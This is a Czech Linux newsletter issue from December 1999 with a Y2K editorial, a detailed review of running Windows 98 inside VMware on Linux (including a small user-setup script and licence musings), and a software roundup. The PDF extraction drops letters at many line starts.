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Linuxové
Úvodem

Pavel Janı́k ml., 27. prosince 1999

Vánočnı́ shon a stres již pomalu opadá, rychle na mne pa-
ajı́ problémy všednı́ch dnı́ a k tomu všemu ještě ze všech
tran lidé otravujı́ s dotazy: „A nebojı́te se roku 2000?“ Také

si toho všeho všı́máte? Je až podezřelé, jak se někteřı́ lidé
a některé firmy holedbajı́ svojı́ připravenostı́ na rok 2000.

pak vám přijde zálohová faktura se splatnostı́ před 100 le-
y. Ano, to se opravdu stalo a to dokonce společnosti, která

á něco přes jeden milión zákaznı́ků. A svoji připravenost
na rok 2000 ohlašujı́ i dalšı́ společnosti, např. ČEZ. . .

Hmm, začal jsem asi dost pesimisticky, takže rychle zpět
o optimistiské svátečnı́ nálady :-) Dalšı́ čı́slo Linuxových
ovin vzniká právě na přelomu roku a tı́m chceme demon-

strovat nejen připravenost našeho týmu na rok 2000, ale
i Linuxu a TEXu samotného. Pokud čtete toto čı́slo na za-
ˇátku roku 2000, tak jsme opravdu připraveni. Pokud tohle
čı́slo čtete v roce 1900, je někde chyba :-)

P.S.: A nezapomeňte přı́štı́ rok slavit přı́chod nového ti-
sı́ciletı́.

mware pro Linux
Petr Olšák, 10. listopadu 1999

tomto článku bych chtěl přiblı́žit své dojmy při instala-
i a provozu programu vmware. Věc najdete na (1) a jed-
á se o program, který vytvořı́ kompletnı́ virtuálnı́ počı́-
ač. Virtuálnı́ hardware tohoto počı́tače si můžete naedito-
at a v textovém konfiguračnı́m souboru propojit se sku-
ečnými možnostmi reálného počı́tače a reálného operač-
ı́ho systému. Virtuálnı́ stroj nabı́zı́ kompletnı́ virtuálnı́ BI-
S a lze do něj instalovat zřejmě libovolný operačnı́ systém
ro PCčka včetně aplikacı́. Uživatelsky se jevı́ tento virtu-

´lnı́ stroj jako okénko na ploše X Window Systému, ve kte-
ém se odehrává vše, co bychom viděli na obrazovce námi
aeditovaného počı́tače. Můžeme tam instalovat druhý Li-
ux včetně kompletnı́ho X serveru a kochat se pohledem
a to, že máme Linux v Linuxu. Nebo tam můžeme mı́t
jiný operačnı́ systém, jako je napřı́klad MS Woknous.

Pro úplnost dodávám, že program vmware je k dispozi-
i i pro MS Woknous NT/2000 jako vnějšı́ operačnı́ systém

a rovněž do něj lze instalovat libovolný vnitřnı́ PCčkový
operačnı́ systém. Touto variantou jsem se dále nezabýval

zaměřil jsem se na variantu MS Woknous 98 v Linuxu. Než
e pustı́m do popisovánı́ zážitků z obrovského množstvı́ ve-
ebných modrých bootů tohoto pro mě exotického operač-
ı́ho systému uvnitř Xového okénka, popı́šu možnosti vm-
ware ve verzi 1.1.1.

Instalace a konfigurace vmware

V dokumentaci k programu se pı́še, že program lze použı́t
pro jádra 2.0.x při jednom procesoru a pro jádra 2.2.x při
inuxové noviny připravuje a vydává České sdruženı́ uživ
noviny
ı́ce procesorech. Přiznám se, že mi závislost verze jádra na
očtu procesorů připadá v dokumentaci poněkud nejapná.

Instalace na RedHatu prostřednictvı́m rpm proběhla bez
problémů. Na Slackwaru jsem instaloval z taru a spuště-

ı́m skriptu install. Zde chtěla instalace tvrdošijně uklá-
at startovacı́ skript do /etc/rc.d/init.d/ a nedala po-

koj, dokud jsem jı́ ten adresář (společně s mnoha dalšı́mi
dresáři rc[0123456].d) provizorně nevytvořil. Pak jsem

musel ručně zařadit startovacı́ skript do rc.local. V do-
kumentaci se dále pı́še, co vše je potřeba v jádru mı́t. Při-
tom tam chybı́ to nejdůležitějšı́: že je potřeba podporovat

oduly. Zřejmě tvůrci počı́tajı́ s tı́m, že všechna jádra majı́
podporu modulů. Určitě to nenı́ pravda, protože aspoň já
i často a s oblibou kompiluji kompaktnı́ jádra bez modulů.

Program vmware umožňuje naeditovat na virtuálnı́ IDE
sběrnice našı́ nové hračky až čtyři virtuálnı́ disky. Každý
z nich může být implementován jako soubor ve vnějšı́m
operačnı́m systému nebo jako partition skutečného IDE
disku. Partition SCSI disku zatı́m nenı́ podporována a vir-
tuálnı́ SCSI sběrnice také ne. Já jsem měl v kompu jen

CSI disky, takže jsem na virtuálnı́ IDE kšandu jako „mas-
er“ navěsil disk reprezentovaný souborem. V takovém přı́-

padě jsme omezeni velikostı́ 2 GB na jeden disk (protože
s většı́mi soubory by mohla být ve vnějšı́m operačnı́m sy-
stému potı́ž). To ovšem pro experimentovánı́ úplně posta-
čı́.

Disk reprezentovaný souborem má několik přı́jemných
vlastnostı́. Předevšı́m při jeho zavedenı́ vzniká ve vnějšı́m
ystému soubor poměrně malé velikosti. Teprve poté, co
o virtuálnı́ho disku začne vnitřnı́ systém zapisovat, může-
e ve vnějšı́m systému pozorovat narůstánı́ velikosti toho-

o souboru. Dále si po zaparkovánı́ vnitřnı́ho systému mů-
ˇeme řı́ci, že to, co se na virtuálnı́ disk zapsalo, je v dané
hvı́li to pravé, co tam chceme mı́t a změnı́me práva k sou-
oru reprezentujı́cı́mu disk na „pouze ke čtenı́“. Program
mware v takovém přı́padě umožnı́ reprezentovat disk tı́m-
o výchozı́m souborem a dále si zakládá při každém star-
u virtuálnı́ho stroje přı́růstkový soubor, kam ukládá data,
terá zapisuje na virtuálnı́ disk vnitřnı́ systém. Tomuto sy-
tému se tedy disk jevı́ nadále jako zapisovatelný a nepo-
ná žádné změny. Přı́růstkový soubor se po ukončenı́ akti-
ity virtuálnı́ho stroje může automaticky mazat (nonpersi-
tent mode). V tomto přı́padě můžeme vnitřnı́ systém tı́p-
out uprostřed činnosti a při novém startu naběhne zcela
tejně jako prve a nebude zdlouhavě kontrolovat svůj sou-
orový systém. Druhou možnostı́ je zachovat přı́růstkový
oubor pro přı́štı́ start (undoable mode). Při přı́štı́m star-
u se program zeptá, zda je možné sloučit přı́růstkový sou-
or s výchozı́m (a vytvořit nový výchozı́ soubor), nebo zda
e má přı́růstkový soubor zachovat a použı́t pro tento běh
ez slučovánı́ nebo zda se má přı́růstkový soubor ignorovat
využı́t jen výchozı́. Nevýhodou je, že je to hned na začátku
oměrně komplikovaná otázka, kterou průměrný uživatel
ěžko chápe. Navı́c se program zeptá v těžko srozumitelné
ngličtině (viz obrázek na dalšı́ straně).

Dále je vhodné (zvláště pro instalaci vnitřnı́ho systému)
atelů operačnı́ho systému Linux
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konfigurovat CD ROM. Ten se objevı́ ve vnitřnı́m systému
ako standardnı́ ATAPI IDE zařı́zenı́. V konfiguračnı́m sou-

boru mu přiřadı́me napřı́klad /dev/cdrom, což prakticky
může být třeba CDčko SCSI. Analogicky navážeme virtu-
álnı́ floppy mechaniku na /dev/fd0.

Také se musı́me rozhodnout, kolik přidělı́me virtuálnı́mu
stroji operačnı́ paměti. Nenı́ vhodné nastavit vı́ce paměti,
než máme skutečně. Je potřeba též počı́tat s tı́m, že bu-
deme virtuálnı́ stroj pouštět současně vı́cekrát. vmware je
ybaven pojistkou: lze nastavit, kolik paměti mohou všech-
y současně běžı́cı́ virtuálnı́ stroje obsadit maximálně. Po-

kus o překročenı́ tohoto limitu způsobı́, že se dalšı́ virtu-
álnı́ stroj odmı́tne spustit. Já jsem přidělil vnitřnı́mu sy-
stému 48 MB paměti. Protože máme na našem kalkuláto-
u 800 MB skutečné paměti, virtuálnı́ stroj lze spouštět asi
esetkrát a ještě zbude polovina paměti na provoz mnoha

dalšı́ch méně pamět’ově náročných aplikacı́.
Myšı́ kurzor se nám uvěznı́ uvnitř okénka v okamžiku,

dy ve virtuálnı́m stroji provedeme nějakou aktivitu. Vnitř-
nı́ systém myš detekuje a pracuje s nı́ jako s běžnou my-
šı́. vmware nabı́zı́ trojkombinaci Alt-Ctrl-Escape na osvo-
bozenı́ myši, abychom mohli pracovat s jinými aplikacemi
ve vnějšı́m systému. Dalšı́ možnostı́ je instalace tzv. vm-
tools do vnitřnı́ho systému. Je to prográmek, který vydá
nitřnı́mu systému povel, aby pustil myš, kdykoli se kurzor
ostane na okraj virtuálnı́ obrazovky. Pak se dá myš jedno-
uše osvobodit pouhým vystrčenı́m kurzoru mimo okénko.

Jediný kanál, kterým může vnitřnı́ operačnı́ systém při-
stupovat k souborům vnějšı́ho systému a komunikovat
s ostatnı́mi počı́tači v sı́ti je virtuálnı́ sı́t’ová karta. Ta se
jevı́ jako AMD PCNET Ethernet Adapter na PCI (ačkoli
ve skutečném kompu třeba žádnou sı́t’ovou kartu nemá-

e). Dá se vytvořit oddělená virtuálnı́ sı́t’ jen pro současně
ěžı́cı́ virtuálnı́ stroje a pro vnějšı́ operačnı́ systém. Ten do-
tane prostřednictvı́m speciálnı́ho modulu jádra dalšı́ sı́t’o-

vé rozhranı́ vmnet1, které neroutuje do skutečné sı́tě, ale
může tam všem virtuálnı́m strojům nabı́zet služby (napřı́-
klad sambu). V této variantě nabı́zı́ vmware do virtuálnı́
sı́tě vlastnı́ DHCP server. Druhá varianta umožnı́ propojit
irtuálnı́ sı́t’ současně běžı́cı́ch programů vmware se skuteč-
ou sı́tı́ tak, že zavedený modul jádra propojı́ sı́t’ové aktivi-
y virtuálnı́ch strojů s některým skutečným rozhranı́m našı́
ı́tě. Trochu déle mi trvalo, než jsem přišel na to, že konfi-

gurace IP routingu nenı́ potřeba a že vše funguje samo od
sebe. Každý nově startovaný virtuálnı́ stroj si vymyslı́ no-
vou jedinečnou hardwarovou adresu virtuálnı́ sı́t’ové karty,
akže na nás ležı́ jen konfigurace DHCP serveru pro Linux,
by virtuálnı́ stroje dostaly přiděleno též jednoznačné IP. IP
akety z vnějšı́ sı́tě určené pro virtuálnı́ stroje začnou samy

procházet našı́ skutečnou sı́t’ovou kartou až k té virtuálnı́.
Neptejte se mě, proč.

Instalace vnitřnı́ho systému

Musı́m se přiznat, že jsem viděl instalaci MS Woknous po-
prvé v životě a doufám, že ten zážitek nebudu muset opa-
kovat. Po zasunutı́ CDčka a startu virtuálnı́ho stroje mů-
žeme ve virtuálnı́m BIOSu nastavit, že se bude z CDčka
2

bootovat. Pak bootujeme virtuálnı́ stroj a následujeme in-
trukce, které se postupně objevujı́ v okénku na obrazovce.

Vnitřnı́ systém provádı́ rozdělenı́ virtuálnı́ho disku na od-
dı́ly. Tzv. formátovánı́ disku a kontrola jeho povrchu nám
yloudı́ na tváři úsměv. Vnitřnı́ systém je dokonale zblbnut
domnı́vá se, že skutečně vykonává nějakou hardwarovou

práci. V určitém okamžiku dokonce systém pı́še „instaluji
nový hardware“. To už jsem se smál naplno.

Instalace MS Woknous 98 trvá asi 98 minut. Je zajı́mavé,
že po skoro celou dobu to nenechá uživatele v klidu. Člo-
ěk nemůže jednoduše přejı́t k jiné aplikaci vnějšı́ho systé-

mu a dělat rozumnou práci. Ta instalace po něm neustále
v různých časových odstupech něco chce. Za velmi vtipné
považuji, že asi v 50. minutě (tedy zhruba v půlce cesty)
je potřeba zadat přı́šerně dlouhý kód licenčnı́ho čı́sla. Po
dobu instalace to asi pětkrát bootuje.

Po absolvovánı́ instalačnı́ho martýria se doporučuje in-
talovat do Woknous ještě vmtools nejen proto, aby nám
ystém pouštěl na okraji obrazovky myš. V tomto balı́ku
e navı́c ovladač grafického adaptéru pro Woknous, který
e optimalizován na vlastnosti virtuálnı́ grafiky ve vmware.
ak můžeme vybı́rat ve vnitřnı́m systému různá rozlišenı́
brazovky. Důsledkem takových změn je pouze změna ve-

ikosti okénka.
Za geniálnı́ považuji skutečnost, že virtuálnı́ hardwarové

rostředı́ je stejné ve všech virtuálnı́ch strojı́ch. Vnitřnı́ sy-
tém a jeho aplikace se dajı́ tedy instalovat jen jednou. Pak
e prostě vezme soubor reprezentujı́cı́ virtuálnı́ disk, udě-
á se gzip, šoupne se to do sı́tě nebo na ZIPovou diske-
u, na jiném kompu se zcela jiným skutečným hardwarem
e udělá gunzip a vmware s vnitřnı́m systémem okamži-
ě jede. Taková instalace pak netrvá ani dvě minuty! Zde si
všem musı́me dát pozor na to, abychom nebyli označová-
i za softwarové piráty. K tomu se vrátı́m na konci tohoto

ˇlánku.

rovoz virtuálnı́ho stroje

by bylo lze vmware vůbec spustit, je potřeba vyplnit na
ttp://www.vmware.com/ dotaznı́k. Obratem přijde elektronickou
oštou licenčnı́ soubor opravňujı́cı́ k provozu na jeden mě-
ı́c. Ten je třeba mı́t v adresáři ~/.vmware, tj. licence je
ázaná na uživatele.

Před prvnı́m spuštěnı́m je třeba založit adresář, přejı́t
o něj a tam spustit vmware. Program se zeptá na nejdů-

ežitějšı́ konfiguračnı́ parametry a uložı́ do aktuálnı́ho adre-
áře konfiguračnı́ soubor, založı́ tam soubory realizujı́cı́ vir-
uálnı́ disky a soubor s obsahem virtuálnı́ CMOSky. V tomto
dresáři vzniká také log, přı́růstkové a zamykacı́ soubory.

Uživatel si může založit vı́ce adresářů s virtuálnı́mi stroji
ůzných parametrů (různé konfigurace, různé disky a různé
MOSky). Do každého takového stroje si může zkusit in-
talovat jiný operačnı́ systém. Pak spouštı́ jednotlivé vir-
uálnı́ stroje jako vmware /cesta/ke/konf/souboru.
onfiguračnı́ soubor lze vytvářet a modifikovat pohodlně

zv. konfiguračnı́m editorem přı́mo z programu vmware.
Celé okénko vlastnı́ho virtuálnı́ho stroje je plně grafické.

eškeré fonty vnitřnı́ho systému jsou tedy skutečně starostı́
en tohoto vnitřnı́ho systému. S fonty použitého X serveru
o nemá nic společného. Počeštěná Woknous tedy fungujı́
kutečně poločesky poloanglicky (tak, jak normálně). České
ebo počeštěné aplikace uvnitř Woknous nedělajı́ problémy

iné, než normálnı́ problémy známé z nativnı́ch Woknous.
Ani klávesnice nedělá problémy. vmware je optimalizo-

http://www.vmware.com/
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áno na XFree86 servery s PCčkovými klávesnicemi, u nichž
přebı́rá skutečné kódy kláves. Nenı́ tedy třeba se bát kon-
erze na keysymy, která může být přes xmodmap zkreslena.

Naopak, pokud pracujeme v X serveru s exotickou kláves-
nicı́, vmware se přeorientuje na keysymy. V tom přı́padě
ze editovat mapovacı́ tabulku z keysymů do vnitřnı́ repre-

zentace kódů virtuálnı́ PCčkové klávesnice.

Virtuálnı́ stroj lze spouštět na vzdálených X serverech ja-
o každou jinou X aplikaci. Pokud ale sı́t’ jen mı́rně zadrhá-
á, jsou znát prodlevy. Mezi kliknutı́m myši a vybalenı́m na-
ı́dky, které má okamžitě následovat, může uplynout něja-
á doba. V režimu vzdáleného X serveru tedy asi nelze pra-
ovat s aplikacemi, které zobrazujı́ plynulý nebo prudký po-

hyb. Hráčům střı́laček by zřejmě tento režim nevyhovoval.
Pokud máte virtuálnı́ stroj na lokálnı́m X serveru, pro-

dlevy nejsou skoro patrné. Navı́c v tomto přı́padě máte
možnost přejı́t do tzv. „Full screen“ módu. Při něm se usa-
dı́ celá grafika virtuálnı́ho stroje do následujı́cı́ho volné-
ho grafického terminálu (dosažitelného napřı́klad pomocı́
Alt-Ctrl-F8 ). Nynı́ je už grafika dokonce akcelerova-

ná a rozdı́l v rychlosti mezi provozem nativnı́ho operačnı́-
o systému a systému uvnitř virtuálnı́ho stroje nenı́ vůbec

znát.
Ve „full screen“ módu jsou rozlišenı́ obrazovky a opako-

vacı́ kmitočty monitoru pevně dány konfiguracı́ X serve-
ru. V této pevně dané ploše je někde uprostřed (při men-
šı́m rozlišenı́ grafiky vnitřnı́ho systému) vidět aktivnı́ plo-
ha virtuálnı́ho stroje. Změnı́me-li rozlišenı́ virtuálnı́ grafiky
a shodné se skutečnou, roztáhne se aktivnı́ plocha na ce-

ou obrazovku. Kmitočty monitoru nemá vnitřnı́ systém ná-
rok měnit, ačkoli si myslı́, že to dělá.

Při bootu vnitřnı́ho systému jede procesor naplno. V přı́-
padě MS Woknous 98 zůstává plné zatı́ženı́ procesoru
i při zobrazenı́ okénka pro přihlášenı́ uživatele. To pova-
žuji za chybu tohoto systému, kterou navı́c nelze odhalit
bez použitı́ vmware, protože v době přihlášenı́ nelze ješ-
ě spouštět měřáky procesoru ve vnitřnı́m systému. Teprve

po přihlášenı́ a inicializaci všech Explorerů, Wordů a iko-
ek na ploše se vnitřnı́ operačnı́ systém zklidnı́. vmware si

pak bere méně než 5 % procesoru. MS Woknous zůstávajı́
ale stále mı́rně neklidné: virtuálnı́ kontrolka IDE rozhranı́
k CD ROM mechanice neustále poblikává. Zřejmě ten sy-
tém každou vteřinu kontroluje, zda tam nepřibylo nějaké
Dčko, na kterém je nutné spustit autorun.
Viděl jsem spouštět vmware na jiném než XFree86 ser-

eru a ukázalo se, že problémy mohou nastat. Předevšı́m
rogram prohlásil, že bude mı́t potı́že s endianitou tohoto

serveru a navı́c s barevnou hloubkou, která byla jen je-
en byte na pixel. Pak nabootoval vnitřnı́ systém a v okén-
u se začaly dı́t různé duhové věci a barevné šmouhy v mı́s-
ech, kudy procházel kurzor myši. Aplikace se sice ovládat
aly, ale vyžadovalo to velkou dávku fantazie od uživatele.
en X server byl XWinPro. Osobně považuji za masochis-
us lézt z Woknous do Linuxu jen proto, aby v něm byly

spuštěny zase Woknous.

Provoz vı́ce virtuálnı́ch strojů najednou

áme-li v kompu dost paměti, můžeme spouštět vı́ce Wok-
ousı́tek najednou. Může je též spouštět vı́ce uživatelů sou-

ˇasně na různých X serverech. Aby uživatel nebyl zdržován
nstalacı́ vnitřnı́ho systému a abychom ušetřili mı́sto na dis-
u, rozhodl jsem se sdı́let mezi uživateli výchozı́ soubor re-

prezentujı́cı́ virtuálnı́ disk. Ten je pro uživatele read-only
a je sdı́len pomocı́ hard linků. Soft link nevyhovuje, pro-
tože vmware se snažı́ vytvářet přı́růstkové soubory nikoli

adresáři, kde je soft link, ale v adresáři, kam soft link uka-
zuje. My přitom potřebujeme, aby každý uživatel měl svůj
jedinečný přı́růstkový soubor.

Pro uživatele jsem vytvořil skriptı́k s názvem win98, kte-
rý zjistı́, zda už uživatel má věci konfigurovány. Pokud ne,
udělá potřebnou práci:

#!/bin/bash
if [ ! -d ~/.vmware ] ; then
echo creating default configuration ...
mkdir ~/vmware ~/.vmware
mkdir ~/vmware/win98
ln /home/vmware/license ~/.vmware/license
cp /home/vmware/preferences\
~/.vmware/preferences

ln /home/vmware/win98.dsk\
~/vmware/win98/win98.dsk

cp /home/vmware/win98.cfg\
~/vmware/win98/win98.cfg

cp /home/vmware/win98.nvram\
~/vmware/win98/win98.nvram

fi
vmware -x vmware/win98/win98.cfg

Sdı́lenı́ jedné CD ROM mechaniky je možné, ale sdı́lenı́
společné floppy mechaniky nikoli. Proto bylo potřeba vy-

odit flopinu z konfiguračnı́ho souboru a ve virtuálnı́m BI-
Su zařı́dit, aby se z nı́ hned na počátku nesnažil program

bootovat.
Na Linuxu běžı́ DHCP server, který přiděluje jednotli-

ým virtuálnı́m strojům jednoznačné IP. Takže TCP/IP spo-
jenı́ k virtuálnı́m strojům je zcela bez problémů. Bohužel,
Woknous 98 majı́ kdesi uvnitř ještě jeden parametr, který
e označován jako název stroje. Protože systémy bootujı́ ze

sdı́leného virtuálnı́ho disku, je tento název stejný. Ve dru-
ých a dalšı́ch současně spuštěných Woknous to zařve tak,

ak ukazuje dalšı́ obrázek. Důsledkem toho je, že TCP/IP je
K, ale Microsoftı́ sı́t’ je v těchto Woknousech paralyzována

(napřı́klad nejsou dosažitelné svazky ze samby).
Odmı́tl jsem zatı́m problém systémově řešit (napřı́klad

programem, který by na základě aktuálnı́ho času náhodně
eneroval název počı́tače a zapisoval jej při bootu do mı́st,
de to ty Woknousy hledajı́). Pokud bude chtı́t bez problé-

mů pracovat vı́ce uživatelů, musejı́ si vymyslet každý své
jméno, poklikat po obrázcı́ch ve Woknous, vložit na urči-
é mı́sto zvolené jméno a zachovat svůj přı́růstkový soubor

i pro přı́štı́ start virtuálnı́ho stroje.
3
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Poznámky k licencı́m

Je třeba respektovat současně licenci k programu vm-
are a licenci k použitému vnitřnı́mu operačnı́mu systé-
u a k aplikacı́m v něm instalovaným.
Program vmware bohužel nenı́ GPL. Pokud by byl, ozna-

ˇil bych jej za naprosto skvělou věc. Licence koncového
živatele (označovaná zkratkou EULA) obsahuje obvyklá
mezenı́ známá z jiných komerčně šı́řených produktů. Mě-
ı́c si s tı́m můžeme hrát a pak je potřeba věc koupit nebo
i s nı́ přestat hrát. Pro akademické použitı́ to stojı́ $99,
inak je to dražšı́.

Nejhoršı́ je, že se mi nepodařilo zjistit, co je možné
za částku $99 s programem dělat. EULA je koncipována
jako licence pro jednoho uživatele na jednom stroji. Zna-

ená to, že když mám na jednom stroji 200 uživatelů, mu-
ı́m to kupovat 200 krát? Většina těch uživatelů si to spustı́
en z legrace nebo z nostalgie, aby se podı́vala, jak vypadajı́

MS Woknous v okénku. Rutinně to využı́vat nebudou. Ta-
ové kruté omezenı́ použitı́ programu na jednoho uživatele

nenı́ pro většinu komerčnı́ch programů obvyklé. Když se
rogram instaluje, pak bývá samozřejmé, že jej mohou po-

užı́vat všichni uživatelé počı́tače, na kterém byla instalace
provedena.

Položil jsem tedy dotaz na info@vmware.com, ale ani
po zopakovánı́ tohoto dotazu jsem se nedočkal odpovědi.
Zřejmě ani sami tvůrci nemajı́ zcela jasno, jak licencovat
program, který dı́ky tomu, že se jedná o X aplikaci, umož-
ňuje obrovskou flexibilitu použitı́ různým skupinám uživa-
telů. Ti mohou program spouštět současně na vı́ce X ser-
verech bez závislosti na tom, kde je fyzicky instalován.

Protože jsem nedostal odpověd’, vytvořil jsem si vlastnı́
nterpretaci licence: Jedna licence se vztahuje k jedné fyzic-
ké instalaci a k jednomu pracovnı́mu uživateli, jehož účet
může být zřı́zen jen proto, aby z něj šlo spouštět vmware.
Nynı́ záležı́ jen na tom, kolika lidem bude známo heslo od
ohoto účtu. To si myslı́m, že nenı́ omezeno. Onen pracov-
ı́ uživatel, který dejme tomu program koupil za $99, může

přece půjčit svůj účet komukoli.
Všiml jsem si, že testovacı́ 30dennı́ verze má licenčnı́ sou-

or psaný na jméno, ovšem tento soubor se dá „půjčovat“.
Lze jej umı́stit do domovského adresáře jakéhokoli uživa-
ele a program pracuje. Jméno uživatele, na kterého je pro-
4

ram licencován, se pouze objevı́ v záhlavı́ rámečku X apli-
kace.

Dále je třeba se zabývat otázkou licence vnitřnı́ho ope-
ačı́ho systému. Tento úkol jsem zadal kolegům, kteřı́ tento
ystém použı́vajı́ i jako vnějšı́, protože jsem se sám četbou
éto licence nechtěl rozčilovat. Výsledek je nemastný nesla-

ný. Jedny Woknous mohou být instalovány na jednom po-
ˇı́tači a může se u nich střı́dat vı́ce uživatelů. Licence jaksi
samozřejmě předpokládá, že se tito uživatelé budou u té
jedné instalace střı́dat na jediném počı́tači. Program vm-
ware a protokol XDMCP nás od takového omezenı́ osvo-
bozuje.

Kdybychom tedy instalovali MS Woknous jedinkrát
do virtuálnı́ho stroje a datová reprezentace instalace by
byla v read-only souboru na disku fyzicky umı́stěna jenom
ednou (ale dı́ky hard-linkům viditelná libovolným počtem
živatelů z různých mı́st), pak zřejmě neporušujeme licen-
i. Nynı́ to bude současně použı́vat vı́ce uživatelů na růz-
ých X serverech – fenomén, se kterým licence vůbec ne-
očı́tá. Pokud si řekneme „co nenı́ zakázáno, je dovoleno“,
ak se domnı́vám, že takové použitı́ je v souladu s licen-
ı́ jednak MS Woknous a jednak všech aplikacı́, které jsou
nich instalovány.
Zajı́malo by mě, co na to řı́kajı́ právnı́ci. Rád se nechám

oučit. Do soudnı́ho sporu s Microsoftem kvůli tomu, že po-
žı́váme jednu instalaci MS Woknous na vı́ce X serverech,
e mi ale vůbec nechce. V takovém přı́padě bych raději pro-
edl unlink všech linků na soubor win98.dsk a tı́m způ-
obil rychlou likvidaci tohoto operačnı́ho systému včetně
šech jeho aplikacı́. My totiž na použitı́ Microsoftı́ch pro-
uktů nejsme závislı́.

hrnutı́

a dobu mého experimentovánı́ se program vmware cho-
al zcela bezchybně. Je vidět, že programovánı́ a testová-
ı́ produktu udělali autoři s největšı́ pečlivostı́ už ve ver-
i 1.1.1. Dokumentace by potřebovala v některých mı́stech
přesnit, ale jinak i ta se vymyká šedivému průměru. Za
odstatnou nevýhodu považuji nevyjasněnost licencı́ na vı́-
euživatelských počı́tačı́ch a v sı́t’ovém prostředı́. Domnı́-
ám se, že ani právnı́ci, kteřı́ pro komerčnı́ firmy texty těch
icencı́ vymýšlejı́, mnohdy nemajı́ zcela jasno, o co jde.
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Na poslednı́m obrázku vidı́me pracovnı́ plochu X serveru
okénky několika aplikacı́. V pozadı́ vlevo se krčı́ Netscape
vpravo nahoře je vmware s vnitřnı́m systémem MS Wok-

nous98. V tomto systému je spuštěn Explorer a v něm vi-
dı́me stejné URL (www.alt-f4.cz), jako ve zmı́něném Netsca-
pe. Pı́šou tam, že použı́váme zapovězený operačnı́ systém
a že bychom s tı́m měli něco dělat, zatı́mco v Netscape
vidı́me text poněkud odlišný. Vpravo dole mezitı́m bootu-
je virtuálnı́ stroj ještě jednou. Je zachycena pozoruhodná
část bootu, která mě nejvı́ce zaujala. Z nı́ je totiž patrno,
že MS Woknous 98 nezapře své předky a jsou stále úzce
vázány s DOSem! Bohužel se mi nepodařilo zachytit situ-

aci, kde je vidět feftina mı́sto češtiny. Nekecám, skutečně
takové věci jsou u draze koupených počeštěných systémů

možné.
Co z obrázku nenı́ vidět: Netscape je spuštěn na jiném

počı́tači než oba programy vmware. Uživatel sedı́ navı́c
zcela jiného počı́tače, přičemž okennı́ manažer je spuštěn

ase odjinud. V xtermu, který na nás pokukuje černou plo-
hou vpravo dole, je spuštěn ssh sun2.dante.de a jsou
am v provozu testy nově připravovaného CDčka TEXu. Já

přitom vůbec nevı́m, ve kterém městě ten sun2 skutečně
ežı́, protože jsem byl ve škole vždy horšı́ v zeměpise. To po-
važuji za svobodné použitı́ sı́tě, které by nemělo být kom-
plikováno špatnými komerčnı́mi licencemi.

1 Vmware

http://www.vmware.com/

ˇ erstvé maso
Radek Vybı́ral, 8. prosince 1999

Po menšı́ pauze je tu opět dávka zajı́mavého softwaru,
terý „Změnı́ Váš život“ :)). Pokud je čekánı́ na dalšı́ vydánı́
inuxových novin přı́liš dlouhé, mohu doporučit Softwaro-
ou sklizeň serveru Root.cz, která má týdennı́ periodicitu.

irewall pro začátečnı́ky

Linux je možné velmi dobře využı́t jako vstupnı́ bránu
rmy do Internetu, tzv. firewall. Takovýto stroj je nutné ale
áležitě nakonfigurovat, které pakety do vnitřnı́ sı́tě smı́
které ne. Existuje samozřejmě způsob, jak vše nakonfigu-

ovat ručně, ale pokud chcete využı́t nějakého pomocnı́ka,
máte možnost. Formou otázek se vygenerujı́ odpovı́dajı́cı́
pravidla pro provoz firewallu (1).

Heldesk jak má být

Pokud pracujete v nějaké softwarové nebo hardwarové fir-
mě, určitě máte spoustu zákaznı́ků, kteřı́ řešı́ stejné pro-
blémy, nebo posı́lajı́ nějaká hlášenı́ o chybách. Zpracová-
nı́ takovýchto přı́padů nenı́ jednoduché, a proto je možné
využı́t aplikaci Helpdesk (2). Ta pracuje nad SQL serve-
rem, umı́ zpracovávat i došlý e-mail a vše nabı́zı́ v podánı́

TML stránek. Jednoduché, ale užitečné. Doporučujı́ 4 z 5
pracovnı́ků technické podpory :)

Software pro UPS

tom, že důležitý server si zasloužı́ i zálohovánı́ v podobě
zdroje napájenı́ UPS asi netřeba diskutovat. Ale co v přı́-
padě, že potřebujete z takovéto UPS v přı́padě výpadku
lektrického proudu korektně ukončit vı́ce strojů? Tušı́te
právně, opět existuje pomoc v podobě softwaru NUT (3).
avı́c je k tomu i hezký webovský interface. No nekupte to,
dyž to je zadarmo, že? Pokud použı́váte velice rozšı́řené

ednotky UPS od firmy APC, můžete si také již bez problé-
u stáhnout ovládacı́ software PowerChute Plus pro Linux

4).

omba – a vidı́m všechny!

dnešnı́ době je stále častějšı́ nasazenı́ Linuxu do sı́tě, kde
sou stroje s nainstalovanými Billovými okýnky (čtěte Win-
ows XX). Linux podporuje sdı́lenı́ disků společně s těmi-
o stroji prostřednictvı́m balı́ku Samba (5). Pokud si chcete
rohlédnout celou sı́t’ v prostředı́ X-Window a máte KDE
anažér, máte možnost použı́t balı́ček Komba (6), který

še zobrazı́ a umožnı́ připojovat a odpojovat vzdálené dis-
y.

tatistika nuda je, má však cenné údaje

oto samozřejmě platı́ i dnes, v době WWW serverů, kdy
o pracné tvořivé práci očekáváte také patřičnou návštěv-
ost. K analýze logů generovaných HTTP serverem se nej-
ı́ce použı́vá program Analog, jehož výrazné vylepšenı́ v po-
obě přehledných grafů poskytuje Report Magic for Analog
5

www.alt-f4.cz
http://www.vmware.com/
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(7). Takže už vı́te, které stránky jsou na Vašem serveru ty
nejzajı́mavějšı́?

Mě pamět’ pořád sloužı́!

Na poměrně časté problémy s chybovými stavy, které jsou
způsobeny problémy s hardwarem a nejvı́ce pamětı́ je vel-
mi vhodný malý prográmek Memtester (8), který otestuje
použitou pamět’.

Diskusnı́ list snadno a rychle

ři vývoji nějakého programu nebo jen pro klábosenı́ s přá-
teli je velmi osvědčeným způsobem společné komunikace

iskusnı́ list, stejný jako je linux@linux.cz. Zřı́zenı́ a vedenı́
akovéhoto listu nemusı́ být jednoduché, ale s Listarem (9)
no. Má modulárnı́ strukturu, takže je možné jeho rozšiřo-
ánı́, nemusı́ běžet pod privilegovaným uživatelem a nabı́zı́

přehledné administrátorské menu.

1 PMFirewall

http://www.pointman.org/PMFirewall/
2 Helpdesk

http://www.jrobst.freeserve.co.uk/helpdesk.html
3 NUT

http://www.exploits.org/nut/
4 APC PowerChute Plus

http://www.apcc.com/products/management/pcp_linux.cfm
5 Samba

http://www.samba.org/
6 Komba

http://zeus.fh-brandenburg.de/~schwanz/komba.html
7 Report Magic

http://www.wadsack-allen.com/digitalgroup/reportmagic/index.asp
8 Memtester

http://www.qcc.sk.ca/~charlesc/software/memtester/
9 Listar

http://www.listar.org/

Linux Hardware
Leoš Literák, 10. prosince 1999

V tomto článku bych vám chtěl představit server Linux
